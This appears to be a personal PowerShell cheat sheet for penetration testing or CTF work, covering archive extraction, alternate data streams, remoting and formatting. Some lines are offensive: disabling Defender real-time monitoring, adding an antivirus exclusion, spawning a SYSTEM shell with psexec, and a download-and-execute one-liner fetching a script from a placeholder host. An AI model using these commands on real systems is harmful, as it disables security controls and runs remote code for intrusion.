Comment on page
Powershell
1,2,3,4 | % {write-host $_}
22,53,80,443,445 | % { Test-Connection -ComputerName <ip> -Port $_ }
Expand-Archive <>
Add-Type -assembly 'system.io.compression.filesystem';[io.compression.zipfile]::ExtractToDirectory("<archive path>","<target dir>")
Get-Item -Stream * <path>
powershell.exe -exec bypass -command Set-MpPreference -DisableRealtimeMonitoring $true
Add-MpPreference -ExclusionPath <path>
$ExecutionContext.SessionState.LanguageMode
Invoke-Command -FilePath <script> -Sessions $sessions
Enter-PSSession -Session $sess
psexec.exe -i -s %SystemRoot%\system32\cmd.exe
iex(iwr http://<ip>/x.ps1 -usebasicparsing)
| Ft -autosize -wrap
| fl
# https://gallery.technet.microsoft.com/scriptcenter/EncryptDecrypt-files-use-65e7ae5d
$key = New-CryptographyKey -Algorithm AES
# Encrypt the file
Protect-File '.\secrets.txt' -Algorithm AES -Key $key -RemoveSource
# Decrypt the file
Unprotect-File '.\secrets.txt.AES' -Algorithm AES -Key $key -RemoveSource
powershell -command "get-item <file> -stream *"
powershell -command "get-content <file> -stream root.txt"
Last modified 9mo ago